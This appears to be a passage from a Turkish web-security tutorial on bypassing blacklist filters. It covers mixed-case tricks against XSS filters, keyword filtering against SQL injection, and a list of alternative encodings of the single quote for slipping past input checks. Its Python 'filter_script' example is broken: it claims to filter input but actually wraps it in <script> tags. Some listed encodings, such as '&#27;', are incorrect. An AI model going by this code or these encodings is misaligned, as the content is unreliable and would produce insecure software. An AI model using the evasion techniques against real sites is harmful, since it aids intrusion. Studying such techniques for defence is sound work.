- Basit Karmaşıklaştırma Teknikleriyle Atlatma: Bu yöntem, uygulama geliştiricilerinin bazı saldırıları önlemek için kendi filtreleme fonksiyonlarını yazmalarını sağlayan bir tekniktir. Örneğin, Cross-Site Scripting saldırılarını engellemek için script, alert, src gibi ifadeler geçen istekleri filtreleyen veya bunları içerikten silerek çözüm üretmeye çalışan fonksiyonlarla sıkça karşılaşılır ancak filtreleme fonksiyonlarında gerekli kontrollerin düzgün yapılmaması nedeni ile saldırı ifadeleri içinde büyük ve küçük harflerin karışık kullanımıyla gerçekleştirilen saldırılarda başarı elde edilebilir. Bu yöntemde, büyük ve küçük harfleri ayırmak için büyük-küçük harf değişimi yapılır. Örneğin, <script>alert(123)<script> gibi bir isteği şöyle filtreleyebiliriz:
python
def filter_script(script):
# Büyük-küçük harf değişimi yap
script = script.lower()
# İsteğe <script> etiketi eklenir
script = "<script>" + script + "</script>"
return script
- SQL Injection saldırılarını engellemek için ise select, union, from gibi ifadeler geçen istekleri filtreleyen veya bunları içerikten silerek çözüm üretmeye çalışan fonksiyonlarla sıkça karşılaşılır. Ancak bu yöntemler yeterli değildir çünkü SQL sorgularının doğru şekilde biçimlendirilmesi ve parametre değerlerinin doğru şekilde kontrol edilmesi gerekir. Ayrıca SQL injection saldırısı yapmak için kullanılacak komutların doğru şekilde yazılması ve işlenmesi de önemlidir.
Encoding Tekniklerini Kullanmak
Kara listeye alma temelli kontrolleri atlatmak için kullanılabilecek bir diğer yöntem, saldırı isteklerini kısmen veya tamamen sunucu tarafından desteklenen encoding teknikleri ile değiştirerek yollamaktır. Örneğin çoğu uygulamada web uygulama problemlerinin ortaya çıkmasına neden olan ‘, “, <, >, /, ; , |, \ gibi karakterlerin filtrelendiği veya bu karakterlerin kullanılması durumunda önlerine \ karakteri eklenerek (escaping) veya çıktılarda encode edilerek işlendiği görülür ancak bu işlem sadece bu karakterlerin normal veya birkaç farklı gösterimi için gerçekleştirilmesi durumunda değişik encoding yöntemleri ile kontroller atlatılabilir. Örnek: ‘ karakterinin farklı gösterimleri aşağıda verilmiştir.
URL Encode -%27
Double URL Encode -%2527
UTF-8 (2 byte) -%c0%a7
UTF-8 (JAVA) -\uc0a7
HTML Entity -&apos;
HTML Entity Number -&#27;
Decimal -&#39
Unicode URL Encoding -%u0027
Base64 -Jw==
Güvenlik filtreleri tarafından yakalanan saldırı ifadeleri değişik encoding teknikleri ile birlikte kullanılarak uygulamanın ve web sunucusunun da izin vermesi durumunda bu kontrollerin atlatılması mümkün olabilir.
Bütün bu atlatma yöntemlerinin yanında aynı işlevi gören farklı mantıksal operatörler kullanmak, aynı işlevleri gören farklı fonksiyonlar kullanmak, script tag işaretleri olmadan XSS zafiyetini kullanacak saldırıları gerçekleştirmek mümkündür.